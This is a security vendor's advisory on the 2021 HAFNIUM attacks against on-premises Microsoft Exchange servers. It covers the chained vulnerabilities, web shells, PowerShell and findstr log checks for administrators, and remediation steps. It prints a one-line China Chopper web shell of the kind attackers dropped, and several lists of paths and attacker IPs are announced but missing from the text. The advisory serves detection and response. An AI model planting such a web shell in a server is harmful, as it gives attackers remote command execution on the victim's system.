The attack against on-premises Microsoft Exchange Servers from Hafnium is widespread. Today, we sent a communication to our customers about what happened and how to respond.
Over the past 24 hours, it has become clear just how many organizations have been impacted by a Nation-State attack.
The attack against on-premises Microsoft Exchange Servers from Hafnium is widespread. Today, we sent a communication to our customers about what happened and how to respond.
We are taking the unusual step of sharing that customer communication in hopes that it helps other organizations.
What Happened
The recently exposed zero-day vulnerabilities in the on-premises or hybrid Microsoft Exchange Server products have provided attackers with an attack vector affecting the Internet Information Service (IIS) component of the target (victim) servers, providing an opportunity for attackers to exploit these vulnerabilities in order to steal data or spawn web shells to establish persistence on the network.
It should be noted that Microsoft’s hosted Exchange Online, Office365, and Microsoft 365 services are not affected, though third-party cloud service providers who operate their own instances may be at risk.
The Microsoft Threat Intelligence Center (MSTIC) has attributed these attacks to the state-sponsored group HAFNIUM operated out of China.
The goal of this document is to provide Critical Insight clients with actionable detection, confirmation, and remediation steps they can use to respond to incidents that they or Critical Insight find in their environment. Note that if Critical Insight has detected an indicator or event in your environment, we have already reached out. If we have not actively contacted your organization, Critical Insight still recommends administrators run the tests, because depending on the organization’s network architecture and scope of detection services, our MDR (Managed Detection & Response) service or your in-line network inspection systems may not be able to see indicators or related traffic.
The Vulnerabilities
These vulnerabilities are being “chained” together and used in sequence to provide outside attackers with direct access to servers and infrastructure, and in some cases is enabling the attackers to exfiltrate mail data to a remote server outside of the network. This is a far-reaching attack which can be launched from any internet-connected computer, and is likely to penetrate most port-blocking firewalls and network IPS systems. Organizations operating Exchange servers that are hosted behind a Web Application Firewall or other firewall/load-balancer device which publishes a limited Outlook Web Application front-end may be less susceptible to compromise but should still closely examine their systems for the Indicators of Compromise (IOCs) to determine if they are affected.
These vulnerabilities have been addressed in a patch released on Tuesday, March 2. Links directly to these patches may be found by navigating to:
What is a Web Shell
A Web Shell is a piece of malicious code dropped by an attacker on an asset, in this instance an IIS web server hosting OWA, which provides remote access and code execution functions on the compromised server. These web shells may then be leveraged to execute commands, steal data, or use the server as a launchpad for further attacks. A common web shell that Critical Insight has seen leveraged against CVE-2021-27065 is the popular “China Chopper” web shell being leveraged against the “CMD=Set-OabVirtualDirectory.ExternalUrl” parameter:
<%@ Page Language=”Jscript”%><%eval(Request.Item[“Random word here”], “unsafe”);%>
Critical Insight Detection & Response
Critical Insight has detections in place to assist with identifying the attacks based on these vulnerabilities. We are also conducting threat hunting activity through Windows logs for associated activity. We are asking all clients that see suspicious indicators outside of Critical Insight resources to forward those to us so we can assist with conducting focused investigations.
Actionable Detection Activities for Administrators
%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName | Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
If activity is detected, the logs specific to the application noted in the AnchorMailbox path can be used to help determine what actions were taken. These logs may be found in %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging
findstr /snip /c:"Download failed and temporary file" "%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log"
Get-EventLog -LogName Application -Source "MSExchange Unified Messaging" -EntryType Error | Where-Object { $_.Message -like "*System.InvalidCastException*" }
System administrators should also take the steps listed to determine if there are any suspicious web log user-agents at the /owa/auth/Current location (though these should not be taken as definitive IOCs):
Confirming Web Shell Activity:
Volexity has observed indicators that are consistent with webserver breaches that can be used to look on server disks and in weblogs for access to or the presence of ASPX files at the following paths:
Network Indicators – Attacker IPs
Thought not exhaustive, these are some IPs that have been used by attackers to exploit the vulnerabilities in these servers. These IPs are tied to VPS and VPN services. There have also been indicators of attackers using TOR services:
Remediation & Next Steps
Once indicators are confirmed, simply applying the patch will not eliminate an already established presence on an affected server. CISA recommends taking the following actions:
If your organization decides to disengage the Exchange Server from your network, DO simply disconnect it and preferably DO NOT shut it down. There may be the potential need for forensic response and that server will have memory and other artifacts that can be destroyed if the server is shut it down.
Current detections for exploitation of these vulnerabilities resides in Microsoft’s Defender and Azure products, and the Critical Insight MDR service. Administrators may also review logs to determine suspicious activities related to these four exploits. Microsoft has updated its blog about these vulnerabilities with information on how to scan Exchange log files for related IOCs:
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log
Questions and Incident Assistance
We hope the information provided here has been valuable to you and your organization in identifying and containing these newly emerged threats and vulnerabilities. If you or your organization have questions or are in need of incident assistance, please contact Critical Insight through your MDR Security Strategist or Account Executive, your Virtual CISO, or by calling the Critical Insight Critical Response phone number at +1-800-604-4810.